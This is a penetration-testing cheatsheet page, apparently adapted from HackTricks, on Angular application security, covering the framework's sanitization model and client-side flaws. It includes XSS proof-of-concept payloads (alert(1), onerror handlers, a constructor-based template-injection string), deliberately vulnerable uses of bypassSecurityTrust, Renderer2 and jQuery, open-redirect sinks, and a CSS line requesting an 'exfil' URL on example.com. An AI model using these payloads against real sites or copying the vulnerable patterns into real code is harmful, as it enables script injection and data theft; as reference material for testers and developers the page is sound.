daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR
git clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
Log | Files | Refs | README | LICENSE

angular.md (31181B)


      1 ---
      2 title: "Angular"
      3 section: "Network Services"
      4 sectionSlug: "network-services-pentesting"
      5 sourcePath: "src/network-services-pentesting/pentesting-web/angular.md"
      6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/network-services-pentesting/pentesting-web/angular.md"
      7 sha: "188de82beb54e70956b2952367a0af91d26758b8"
      8 isIndex: false
      9 modified: true
     10 license: "CC-BY-NC-4.0"
     11 ---
     12 
     13 # Angular
     14 
     15 ## The Checklist
     16 
     17 Checklist [from here](https://lsgeurope.com/post/angular-security-checklist).<sup>[[5]](#references)</sup>
     18 
     19 * [ ] Angular is considered a client-side framework and is not expected to provide server-side protection
     20 * [ ] Sourcemap for scripts is disabled in the project configuration
     21 * [ ] Untrusted user input is always interpolated or sanitized before being used in templates
     22 * [ ] The user has no control over server-side or client-side templates
     23 * [ ] Untrusted user input is sanitized using an appropriate security context before being trusted by the application
     24   * [ ] `BypassSecurity*` methods are not used with untrusted input
     25 * [ ] Untrusted user input is not passed to Angular classes such as `ElementRef` , `Renderer2` and `Document`, or other JQuery/DOM sinks
     26 
     27 ## What is Angular
     28 
     29 Angular is a **powerful**, **open-source** front-end framework maintained by **Google**. It uses **TypeScript** to improve code readability and debugging. Angular's template sanitization reduces common client-side vulnerabilities such as **XSS**, but it does not prevent application-logic flaws such as **open redirects**. Angular can also render on the **server side**, so both client- and server-side trust boundaries require review.<sup>[[1]](#references)</sup>
     30 
     31 ## Framework architecture
     32 
     33 In order to better understand the Angular basics, let’s go through its essential concepts.
     34 
     35 A common Angular project has the following structure:<sup>[[6]](#references)</sup>
     36 
     37 ```bash
     38 my-workspace/
     39 ├── ... #workspace-wide configuration files
     40 ├── src
     41 │   ├── app
     42 │   │   ├── app.module.ts #defines the root module, that tells Angular how to assemble the application
     43 │   │   ├── app.component.ts #defines the logic for the application's root component
     44 │   │   ├── app.component.html #defines the HTML template associated with the root component
     45 │   │   ├── app.component.css #defines the base CSS stylesheet for the root component
     46 │   │   ├── app.component.spec.ts #defines a unit test for the root component
     47 │   │   └── app-routing.module.ts #provides routing capability for the application
     48 │   ├── lib
     49 │   │   └── src #library-specific configuration files
     50 │   ├── index.html #main HTML page, where the component will be rendered in
     51 │   └── ... #application-specific configuration files
     52 ├── angular.json #provides workspace-wide and project-specific configuration defaults
     53 └── tsconfig.json #provides the base TypeScript configuration for projects in the workspace
     54 ```
     55 
     56 According to the documentation, every Angular application has at least one component, the root component (`AppComponent`) that connects a component hierarchy with the DOM. Each component defines a class that contains application data and logic, and is associated with an HTML template that defines a view to be displayed in a target environment. The `@Component()` decorator identifies the class immediately below it as a component, and provides the template and related component-specific metadata. The `AppComponent` is defined in the `app.component.ts` file.
     57 
     58 Angular NgModules declare a compilation context for a set of components that is dedicated to an application domain, a workflow, or a closely related set of capabilities. Every Angular application has a root module, conventionally named `AppModule`, which provides the bootstrap mechanism that launches the application. An application typically contains many functional modules. The `AppModule` is defined in the `app.module.ts` file.
     59 
     60 The Angular `Router` NgModule provides a service for defining navigation paths among application states and view hierarchies. `RouterModule` is configured in `app-routing.module.ts`.
     61 
     62 For data or logic that isn't associated with a specific view, and that you want to share across components, you create a service class. A service class definition is immediately preceded by the `@Injectable()` decorator. The decorator provides the metadata that allows other providers to be injected as dependencies into your class. Dependency injection (DI) lets you keep your component classes lean and efficient. They don't fetch data from the server, validate user input, or log directly to the console; they delegate such tasks to services.<sup>[[2]](#references)[[7]](#references)</sup>
     63 
     64 ## Sourcemap configuration
     65 
     66 Angular compiles TypeScript into JavaScript according to `tsconfig.json` and builds the project according to `angular.json`. The `sourceMap` option enables or disables source maps and provides separate controls for scripts, styles, vendor code, and hidden map references.<sup>[[2]](#references)[[8]](#references)</sup>
     67 
     68 ```json
     69 "sourceMap": {
     70 	"scripts": true,
     71 	"styles": true,
     72 	"vendor": false,
     73 	"hidden": false
     74 }
     75 ```
     76 
     77 Source maps support debugging by mapping generated files back to their original sources. Public production maps can disclose otherwise hidden source and make analysis easier. If maps are unavailable, a reviewer can still inspect the compiled JavaScript for insecure patterns.<sup>[[2]](#references)</sup>
     78 
     79 The compiled Angular JavaScript is available in browser developer tools under Sources (or Debugger), commonly as `[id].main.js`. It may end with `//# sourceMappingURL=[id].main.js.map`; setting **`hidden`** to **`true`** omits that pointer but can still generate a map for private error-reporting workflows. Disabling script source maps prevents retrieval of the map, not the compiled JavaScript. Source maps can also be enabled during a build with `ng build --source-map`.<sup>[[2]](#references)</sup>
     80 
     81 ## Data binding
     82 
     83 Binding refers to the process of communication between a component and its corresponding view. It is utilized for transferring data to and from the Angular framework. Data can be passed through various means, such as through events, interpolation, properties, or through the two-way binding mechanism. Moreover, data can also be shared between related components (parent-child relation) and between two unrelated components using the Service feature.<sup>[[2]](#references)[[22]](#references)</sup>
     84 
     85 We can classify binding by data flow:<sup>[[2]](#references)</sup>
     86 
     87 * Data source to view target (includes _interpolation_, _properties_, _attributes_, _classes_ and _styles_); can be applied by using `[]` or `{{}}` in template;
     88 * View target to data source (includes _events_); can be applied by using `()` in template;
     89 * Two-Way; can be applied by using `[()]` in template.
     90 
     91 Binding can be called on properties, events, and attributes, as well as on any public member of a source directive:<sup>[[9]](#references)</sup>
     92 
     93 | TYPE      | TARGET                                                   | EXAMPLES                                                             |
     94 | --------- | -------------------------------------------------------- | -------------------------------------------------------------------- |
     95 | Property  | Element property, Component property, Directive property | \<img \[alt]="hero.name" \[src]="heroImageUrl">                      |
     96 | Event     | Element event, Component event, Directive event          | \<button type="button" (click)="onSave()">Save                       |
     97 | Two-way   | Event and property                                       | \<input \[(ngModel)]="name">                                         |
     98 | Attribute | Attribute (the exception)                                | \<button type="button" \[attr.aria-label]="help">help                |
     99 | Class     | class property                                           | \<div \[class.special]="isSpecial">Special                           |
    100 | Style     | style property                                           | \<button type="button" \[style.color]="isSpecial ? 'red' : 'green'"> |
    101 
    102 ## Angular security model
    103 
    104 Angular's design includes encoding or sanitization of all data by default, making it increasingly difficult to discover and exploit XSS vulnerabilities in Angular projects. There are two distinct scenarios for data handling:<sup>[[2]](#references)</sup>
    105 
    106 1.  Interpolation or `{{user_input}}`- performs context-sensitive encoding and interprets user input as text;
    107 
    108     ```jsx
    109     //app.component.ts
    110     test = "<script>alert(1)</script><h1>test</h1>";
    111 
    112     //app.component.html
    113     {{test}}
    114     ```
    115 
    116     Result: `&lt;script&gt;alert(1)&lt;/script&gt;&lt;h1&gt;test&lt;/h1&gt;`
    117 2.  Binding to properties, attributes, classes and styles or `[attribute]="user_input"` - performs sanitization based on the provided security context.
    118 
    119     ```jsx
    120     //app.component.ts
    121     test = "<script>alert(1)</script><h1>test</h1>";
    122 
    123     //app.component.html
    124     <div [innerHtml]="test"></div>
    125     ```
    126 
    127     Result: `<div><h1>test</h1></div>`
    128 
    129 There are 6 types of `SecurityContext` :<sup>[[2]](#references)[[10]](#references)[[11]](#references)</sup>
    130 
    131 * `None`;
    132 * `HTML` is used, when interpreting value as HTML;
    133 * `STYLE` is used, when binding CSS into the `style` property;
    134 * `URL` is used for URL properties, such as `<a href>`;
    135 * `SCRIPT` is used for JavaScript code;
    136 * `RESOURCE_URL` as a URL that is loaded and executed as code, for example, in `<script src>`.
    137 
    138 ## Vulnerabilities
    139 
    140 ### Bypass Security Trust methods
    141 
    142 Angular provides methods that bypass its default sanitization and mark a value as trusted in a specific context, as shown in the following five examples:<sup>[[3]](#references)</sup>
    143 
    144 1.  `bypassSecurityTrustUrl` marks the given value as a trusted URL:
    145 
    146     ```jsx
    147     //app.component.ts
    148     this.trustedUrl = this.sanitizer.bypassSecurityTrustUrl('javascript:alert()');
    149 
    150     //app.component.html
    151     <a class="e2e-trusted-url" [href]="trustedUrl">Click me</a>
    152 
    153     //result
    154     <a _ngcontent-pqg-c12="" class="e2e-trusted-url" href="javascript:alert()">Click me</a>
    155     ```
    156 2.  `bypassSecurityTrustResourceUrl` is used to indicate the given value is a safe resource URL:
    157 
    158     ```jsx
    159     //app.component.ts
    160     this.trustedResourceUrl = this.sanitizer.bypassSecurityTrustResourceUrl("https://www.google.com/images/branding/googlelogo/1x/googlelogo_light_color_272x92dp.png");
    161 
    162     //app.component.html
    163     <iframe [src]="trustedResourceUrl"></iframe>
    164 
    165     //result
    166     <iframe _ngcontent-nre-c12="" src="https://www.google.com/images/branding/googlelogo/1x/googlelogo_light_color_272x92dp.png"></iframe>
    167     ```
    168 3.  `bypassSecurityTrustHtml` is used to indicate the given value is safe HTML. Note that inserting `script` elements into the DOM tree in this way will not cause them to execute the enclosed JavaScript code, because of how these elements are added to the DOM tree.
    169 
    170     ```jsx
    171     //app.component.ts
    172     this.trustedHtml = this.sanitizer.bypassSecurityTrustHtml("<h1>html tag</h1><svg onclick=\"alert('bypassSecurityTrustHtml')\" style=display:block>blah</svg>");
    173 
    174     //app.component.html
    175     <p style="border:solid" [innerHtml]="trustedHtml"></p>
    176 
    177     //result
    178     <h1>html tag</h1>
    179     <svg onclick="alert('bypassSecurityTrustHtml')" style="display:block">blah</svg>
    180     ```
    181 4.  `bypassSecurityTrustScript` marks the given value as trusted JavaScript. It does not make a `<script>` element inserted through `innerHTML` execute; browser DOM insertion semantics still apply.
    182 
    183     ```jsx
    184     //app.component.ts
    185     this.trustedScript = this.sanitizer.bypassSecurityTrustScript("alert('bypass Security TrustScript')");
    186 
    187     //app.component.html
    188     <script [innerHtml]="trustedScript"></script>
    189 
    190     //result
    191     -
    192     ```
    193 5.  `bypassSecurityTrustStyle` is used to indicate the given value is safe CSS. The following example illustrates CSS injection:
    194 
    195     ```jsx
    196     //app.component.ts
    197     this.trustedStyle = this.sanitizer.bypassSecurityTrustStyle('background-image: url(https://example.com/exfil/a)');
    198 
    199     //app.component.html
    200     <input type="password" name="pwd" value="01234" [style]="trustedStyle">
    201 
    202     //result
    203     Request URL: GET example.com/exfil/a
    204     ```
    205 
    206 Angular provides a `sanitize` method to sanitize data before displaying it in views. This method employs the security context provided and cleanses the input accordingly. It is, however, crucial to use the correct security context for the specific data and context. For instance, applying a sanitizer with `SecurityContext.URL` on HTML content does not provide protection against dangerous HTML values. In such scenarios, misuse of security context could lead to XSS vulnerabilities.<sup>[[3]](#references)[[10]](#references)</sup>
    207 
    208 ### HTML injection
    209 
    210 This vulnerability occurs when user input is bound to `innerHTML`, `outerHTML`, or an iframe's `srcdoc`. Angular interprets the value as HTML and sanitizes it with `SecurityContext.HTML`. Benign HTML injection can therefore remain visible while known executable constructs are removed; XSS becomes possible when sanitization is bypassed, an unsafe sink is used, or a sanitizer discrepancy is found.<sup>[[3]](#references)</sup>
    211 
    212 Example of using `innerHTML`:
    213 
    214 ```jsx
    215 //app.component.ts
    216 import { Component} from '@angular/core';
    217 
    218 @Component({
    219   selector: 'app-root',
    220   templateUrl: './app.component.html'
    221 })
    222 export class AppComponent{
    223 	//define a variable with user input
    224   test = "<script>alert(1)</script><h1>test</h1>";
    225 }
    226 
    227 //app.component.html
    228 <div [innerHTML]="test"></div>
    229 ```
    230 
    231 The result is `<div><h1>test</h1></div>`.
    232 
    233 ### Template injection
    234 
    235 #### Client-Side Rendering (CSR)
    236 
    237 Angular leverages templates to construct pages dynamically. The approach entails enclosing template expressions for Angular to evaluate within double curly brackets (`{{}}`). In this way, the framework offers additional functionality. For instance, a template such as `{{1+1}}` would display as 2.
    238 
    239 Typically, Angular escapes user input that could be interpreted as markup or template syntax (for example, characters such as \`< > ' " \`\`). Exploitation may therefore require bypassing these restrictions, such as by using functions that construct JavaScript strings without blacklisted characters. The exact payload depends on the available Angular context, properties, and variables. A template-injection payload may look like this:
    240 
    241 ```jsx
    242 //app.component.ts
    243 const _userInput = '{{constructor.constructor(\'alert(1)\'()}}'
    244 @Component({
    245 	selector: 'app-root',
    246 	template: '<h1>title</h1>' + _userInput
    247 })
    248 ```
    249 
    250 As shown above, `constructor` refers to the object's `constructor` property and may enable arbitrary code execution when attacker input is concatenated into a template that the application compiles at runtime. Normal interpolation treats the same input as data and does not compile it as a new template.<sup>[[3]](#references)</sup>
    251 
    252 #### Server-Side Rendering (SSR)
    253 
    254 Unlike CSR, which occurs in the browser’s DOM, Angular Universal is responsible for SSR of template files. These files are then delivered to the user. Despite this distinction, Angular Universal applies the same sanitization mechanisms used in CSR to enhance SSR security. A template injection vulnerability in SSR can be spotted in the same way as in CSR, because the used template language is the same.
    255 
    256 Of course, there also is a possibility of introducing new template injection vulnerabilities when employing third-party template engines such as Pug and Handlebars.<sup>[[3]](#references)[[13]](#references)</sup>
    257 
    258 ### XSS
    259 
    260 #### DOM interfaces
    261 
    262 As previously stated, we can directly access the DOM using the _Document_ interface. If user input is not validated beforehand, it can lead to cross-site scripting (XSS) vulnerabilities.<sup>[[23]](#references)</sup>
    263 
    264 We used the `document.write()` and `document.createElement()` methods in the examples below:<sup>[[4]](#references)[[12]](#references)</sup>
    265 
    266 ```jsx
    267 //app.component.ts 1
    268 import { Component} from '@angular/core';
    269 
    270 @Component({
    271   selector: 'app-root',
    272   template: ''
    273 })
    274 export class AppComponent{
    275   constructor () {
    276     document.open();
    277     document.write("<script>alert(document.domain)</script>");
    278     document.close();
    279   }
    280 }
    281 
    282 //app.component.ts 2
    283 import { Component} from '@angular/core';
    284 
    285 @Component({
    286   selector: 'app-root',
    287   template: ''
    288 })
    289 export class AppComponent{
    290   constructor () {
    291     var d = document.createElement('script');
    292     var y = document.createTextNode("alert(1)");
    293     d.appendChild(y);
    294     document.body.appendChild(d);
    295   }
    296 }
    297 
    298 //app.component.ts 3
    299 import { Component} from '@angular/core';
    300 
    301 @Component({
    302   selector: 'app-root',
    303   template: ''
    304 })
    305 export class AppComponent{
    306   constructor () {
    307 	var a = document.createElement('img');
    308 	a.src='https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/network-services-pentesting/pentesting-web/1';
    309 	a.setAttribute('onerror','alert(1)');
    310 	document.body.appendChild(a);
    311   }
    312 }
    313 ```
    314 
    315 #### Angular classes
    316 
    317 There are some classes that can be used to work with DOM elements in Angular: `ElementRef`, `Renderer2`, `Location` and `Document`. A detailed description of the last two classes is given in the **Open redirects** section. The main difference between the first two is that the `Renderer2` API provides a layer of abstraction between the DOM element and the component code, whereas `ElementRef` just holds a reference to the element. Therefore, according to Angular documentation, `ElementRef` API should only be used as a last resort when direct access to the DOM is needed.<sup>[[4]](#references)[[14]](#references)[[15]](#references)[[16]](#references)</sup>
    318 
    319 *   `ElementRef` contains the property `nativeElement`, which can be used to manipulate the DOM elements. However, improper usage of `nativeElement` can result in an XSS injection vulnerability, as shown below:<sup>[[4]](#references)</sup>
    320 
    321     ```tsx
    322     //app.component.ts
    323     import { Component, ElementRef, ViewChild, AfterViewInit } from '@angular/core';
    324 
    325     @Component({
    326       selector: 'app-root',
    327       templateUrl: './app.component.html',
    328       styleUrls: ['./app.component.css']
    329     })
    330     export class AppComponent {
    331     ...
    332       constructor(private elementRef: ElementRef) {
    333         const s = document.createElement('script');
    334         s.type = 'text/javascript';
    335         s.textContent = 'alert("Hello World")';
    336         this.elementRef.nativeElement.appendChild(s);
    337      }
    338     }
    339     ```
    340 *   Despite the fact that `Renderer2` provides API that can safely be used even when direct access to native elements is not supported, it still has some security flaws. With `Renderer2`, it is possible to set attributes on an HTML element using the `setAttribute()` method, which has no XSS prevention mechanisms.<sup>[[4]](#references)</sup>
    341 
    342     ```tsx
    343     //app.component.ts
    344     import {Component, Renderer2, ElementRef, ViewChild, AfterViewInit } from '@angular/core';
    345 
    346     @Component({
    347       selector: 'app-root',
    348       templateUrl: './app.component.html',
    349       styleUrls: ['./app.component.css']
    350     })
    351     export class AppComponent {
    352       
    353       public constructor (
    354         private renderer2: Renderer2
    355       ){}
    356       @ViewChild("img") img!: ElementRef;
    357 
    358       addAttribute(){
    359         this.renderer2.setAttribute(this.img.nativeElement, 'src', '1');
    360         this.renderer2.setAttribute(this.img.nativeElement, 'onerror', 'alert(1)');
    361      }
    362     }
    363 
    364     //app.component.html
    365     <img #img>
    366     <button (click)="setAttribute()">Click me!</button>
    367     ```
    368 *   To set the property of a DOM element, you can use `Renderer2.setProperty()` method and trigger an XSS attack:<sup>[[4]](#references)</sup>
    369 
    370     ```tsx
    371     //app.component.ts
    372     import {Component, Renderer2, ElementRef, ViewChild, AfterViewInit } from '@angular/core';
    373 
    374     @Component({
    375       selector: 'app-root',
    376       templateUrl: './app.component.html',
    377       styleUrls: ['./app.component.css']
    378     })
    379     export class AppComponent {
    380       
    381       public constructor (
    382         private renderer2: Renderer2
    383       ){}
    384       @ViewChild("img") img!: ElementRef;
    385 
    386       setProperty(){
    387         this.renderer2.setProperty(this.img.nativeElement, 'innerHTML', '<img src=1 onerror=alert(1)>');
    388      }
    389     }
    390 
    391     //app.component.html
    392     <a #a></a>
    393     <button (click)="setProperty()">Click me!</button>
    394     ```
    395 
    396 During our research, we also examined the behavior of other `Renderer2` methods, such as `setStyle()`, `createComment()`, and `setValue()`, in relation to XSS and CSS injections. However, we were unable to find any valid attack vectors for these methods due to their functional limitations.<sup>[[4]](#references)</sup>
    397 
    398 #### jQuery
    399 
    400 jQuery is a JavaScript library that may be used alongside Angular to manipulate DOM objects. Methods that accept HTML strings can introduce XSS when passed untrusted input, so the following patterns remain relevant in Angular projects that also depend on jQuery.<sup>[[4]](#references)[[18]](#references)</sup>
    401 
    402 *   The `html()` method gets the HTML contents of the first element in the set of matched elements or sets the HTML contents of every matched element. However, by design, any jQuery constructor or method that accepts an HTML string can potentially execute code. This can occur by injection of `<script>` tags or use of HTML attributes that execute code as shown in the example.<sup>[[4]](#references)</sup>
    403 
    404     ```tsx
    405     //app.component.ts
    406     import { Component, OnInit } from '@angular/core';
    407     import * as $ from 'jquery';
    408 
    409     @Component({
    410       selector: 'app-root',
    411       templateUrl: './app.component.html',
    412       styleUrls: ['./app.component.css']
    413     })
    414     export class AppComponent implements OnInit 
    415     {
    416       ngOnInit() 
    417       {
    418         $("button").on("click", function()
    419         {
    420           $("p").html("<script>alert(1)</script>");
    421         });
    422       }
    423     }
    424 
    425     //app.component.html
    426     <button>Click me</button>
    427     <p>some text here</p>
    428     ```
    429 *   The `jQuery.parseHTML()` method uses native methods to convert the string to a set of DOM nodes, which can then be inserted into the document.
    430 
    431     ```tsx
    432     jQuery.parseHTML(data [, context ] [, keepScripts ])
    433     ```
    434 
    435     As mentioned before, most jQuery APIs that accept HTML strings will run scripts that are included in the HTML. The `jQuery.parseHTML()` method does not run scripts in the parsed HTML unless `keepScripts` is explicitly `true`. However, it is still possible in most environments to execute scripts indirectly; for example, via the `<img onerror>` attribute.<sup>[[4]](#references)[[17]](#references)</sup>
    436 
    437     ```tsx
    438     //app.component.ts
    439     import { Component, OnInit } from '@angular/core';
    440     import * as $ from 'jquery';
    441 
    442     @Component({
    443       selector: 'app-root',
    444       templateUrl: './app.component.html',
    445       styleUrls: ['./app.component.css']
    446     })
    447     export class AppComponent implements OnInit 
    448     {
    449       ngOnInit() 
    450       {
    451         $("button").on("click", function()
    452         {
    453           var $palias = $("#palias"),
    454             str = "<img src=1 onerror=alert(1)>",
    455             html = $.parseHTML(str),
    456             nodeNames = [];
    457           $palias.append(html);
    458         });
    459       }
    460     }
    461 
    462     //app.component.html
    463     <button>Click me</button>
    464     <p id="palias">some text</p>
    465     ```
    466 
    467 ### Open redirects
    468 
    469 #### DOM interfaces
    470 
    471 According to the W3C documentation, the `window.location` and `document.location` objects are treated as aliases in modern browsers. That is why they have similar implementation of some methods and properties, which might cause an open redirect and DOM XSS with `javascript://` schema attacks as mentioned below.<sup>[[4]](#references)</sup>
    472 
    473 *   `window.location.href`(and `document.location.href`)
    474 
    475     The canonical way to get the current DOM location object is using `window.location`. It can also be used to redirect the browser to a new page. As a result, having control over this object allows us to exploit an open redirect vulnerability.
    476 
    477     ```tsx
    478     //app.component.ts
    479     ...
    480     export class AppComponent {
    481         goToUrl(): void {
    482           window.location.href = "https://google.com/about"
    483         }
    484     }
    485 
    486     //app.component.html
    487     <button type="button" (click)="goToUrl()">Click me!</button>
    488     ```
    489 
    490     The exploitation process is identical for the following scenarios.
    491 *   `window.location.assign()`(and `document.location.assign()`)
    492 
    493     This method causes the window to load and display the document at the URL specified. If we have control over this method, it might be a sink for an open redirect attack.
    494 
    495     ```tsx
    496     //app.component.ts
    497     ...
    498     export class AppComponent {
    499         goToUrl(): void {
    500           window.location.assign("https://google.com/about")
    501         }
    502     }
    503     ```
    504 *   `window.location.replace()`(and `document.location.replace()`)
    505 
    506     This method replaces the current resource with the one at the provided URL.
    507 
    508     This differs from the `assign()` method is that after using `window.location.replace()`, the current page will not be saved in session History. However, it is also possible to exploit an open redirect vulnerability when we have control over this method.
    509 
    510     ```tsx
    511     //app.component.ts
    512     ...
    513     export class AppComponent {
    514         goToUrl(): void {
    515           window.location.replace("http://google.com/about")
    516         }
    517     }
    518     ```
    519 *   `window.open()`
    520 
    521     The `window.open()` method takes a URL and loads the resource it identifies into a new or existing tab or window. Having control over this method might also be an opportunity to trigger an XSS or open redirect vulnerability.
    522 
    523     ```tsx
    524     //app.component.ts
    525     ...
    526     export class AppComponent {
    527         goToUrl(): void {
    528           window.open("https://google.com/about", "_blank")
    529         }
    530     }
    531     ```
    532 
    533 #### Angular classes
    534 
    535 *   According to Angular documentation, Angular `Document` is the same as the DOM document, which means it is possible to use common vectors for the DOM document to exploit client-side vulnerabilities in the Angular. `Document.location` properties and methods might be sinks for successful open redirect attacks as shown in the example:<sup>[[4]](#references)[[19]](#references)</sup>
    536 
    537     ```tsx
    538     //app.component.ts
    539     import { Component, Inject } from '@angular/core';
    540     import { DOCUMENT } from '@angular/common';
    541 
    542     @Component({
    543       selector: 'app-root',
    544       templateUrl: './app.component.html',
    545       styleUrls: ['./app.component.css']
    546     })
    547     export class AppComponent {
    548       constructor(@Inject(DOCUMENT) private document: Document) { }
    549 
    550       goToUrl(): void {
    551           this.document.location.href = 'https://google.com/about';
    552       }
    553     }
    554 
    555     //app.component.html
    556     <button type="button" (click)="goToUrl()">Click me!</button>
    557     ```
    558 *   During the research phase, we also reviewed Angular `Location` class for open redirect vulnerabilities, but no valid vectors were found. `Location` is an Angular service that applications can use to interact with a browser's current URL. This service has several methods to manipulate the given URL - `go()` , `replaceState()`, and `prepareExternalUrl()`. However, we cannot use them for redirection to the external domain. For example:<sup>[[4]](#references)[[20]](#references)</sup>
    559 
    560     ```tsx
    561     //app.component.ts
    562     import { Component, Inject } from '@angular/core';
    563     import {Location, LocationStrategy, PathLocationStrategy} from '@angular/common';
    564 
    565     @Component({
    566       selector: 'app-root',
    567       templateUrl: './app.component.html',
    568       styleUrls: ['./app.component.css'],
    569       providers: [Location, {provide: LocationStrategy, useClass: PathLocationStrategy}],
    570     })
    571     export class AppComponent {
    572       location: Location;
    573       constructor(location: Location) {
    574         this.location = location;
    575       }
    576       goToUrl(): void {
    577        console.log(this.location.go("http://google.com/about"));
    578       }
    579     }
    580     ```
    581 
    582     Result: `http://localhost:4200/http://google.com/about`
    583 *   The Angular `Router` class is primarily used for navigating within the same domain and does not introduce any additional vulnerabilities to the application:<sup>[[4]](#references)[[21]](#references)</sup>
    584 
    585     ```jsx
    586     //app-routing.module.ts
    587     const routes: Routes = [
    588     { path: '', redirectTo: 'https://google.com', pathMatch: 'full' }]
    589     ```
    590 
    591     Result: `http://localhost:4200/https:`
    592 
    593     The following methods also navigate within the domain’s scope:
    594 
    595     ```jsx
    596     const routes: Routes = [ { path: '', redirectTo: 'ROUTE', pathMatch: 'prefix' } ]
    597     this.router.navigate(['PATH'])
    598     this.router.navigateByUrl('URL')
    599     ```
    600 
    601 ## References
    602 
    603 - [1] [Angular](https://angular.io/)
    604 - [2] [Angular Security: The Definitive Guide (Part 1)](https://lsgeurope.com/post/angular-security-the-definitive-guide-part-1)
    605 - [3] [Angular Security: The Definitive Guide (Part 2)](https://lsgeurope.com/post/angular-security-the-definitive-guide-part-2)
    606 - [4] [Angular Security: The Definitive Guide (Part 3)](https://lsgeurope.com/post/angular-security-the-definitive-guide-part-3)
    607 - [5] [Angular Security: Checklist](https://lsgeurope.com/post/angular-security-checklist)
    608 - [6] [Workspace and project file structure](https://angular.io/guide/file-structure)
    609 - [7] [Introduction to components and templates](https://angular.io/guide/architecture-components)
    610 - [8] [Source map configuration](https://angular.io/guide/workspace-config#source-map-configuration)
    611 - [9] [Binding syntax](https://angular.io/guide/binding-syntax)
    612 - [10] [Sanitization and security contexts](https://angular.io/guide/security#sanitization-and-security-contexts)
    613 - [11] [GitHub - angular/dom\_security\_schema.ts](https://github.com/angular/angular/blob/main/packages/compiler/src/schema/dom\_security\_schema.ts)
    614 - [12] [XSS in Angular and AngularJS](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/XSS%20Injection/XSS%20in%20Angular.md)
    615 - [13] [Angular Universal](https://angular.io/guide/universal)
    616 - [14] [Angular ElementRef](https://angular.io/api/core/ElementRef)
    617 - [15] [Angular Renderer2](https://angular.io/api/core/Renderer2)
    618 - [16] [Renderer2 Example: Manipulating DOM in Angular - TekTutorialsHub](https://www.tektutorialshub.com/angular/renderer2-angular/)
    619 - [17] [jQuery API Documentation](http://api.jquery.com/)
    620 - [18] [How To Use jQuery With Angular (When You Absolutely Have To)](https://blog.bitsrc.io/how-to-use-jquery-with-angular-when-you-absolutely-have-to-42c8b6a37ff9)
    621 - [19] [Angular Document](https://angular.io/api/common/DOCUMENT)
    622 - [20] [Angular Location](https://angular.io/api/common/Location)
    623 - [21] [Angular Router](https://angular.io/api/router/Router)
    624 - [22] [Angular Context: Easy Data-Binding for Nested Component Trees and the Router Outlet](https://medium.com/angular-in-depth/angular-context-easy-data-binding-for-nested-component-trees-and-the-router-outlet-a977efacd48)
    625 - [23] [DOM XSS](https://book.hacktricks.wiki/en/pentesting-web/xss-cross-site-scripting/dom-xss.html)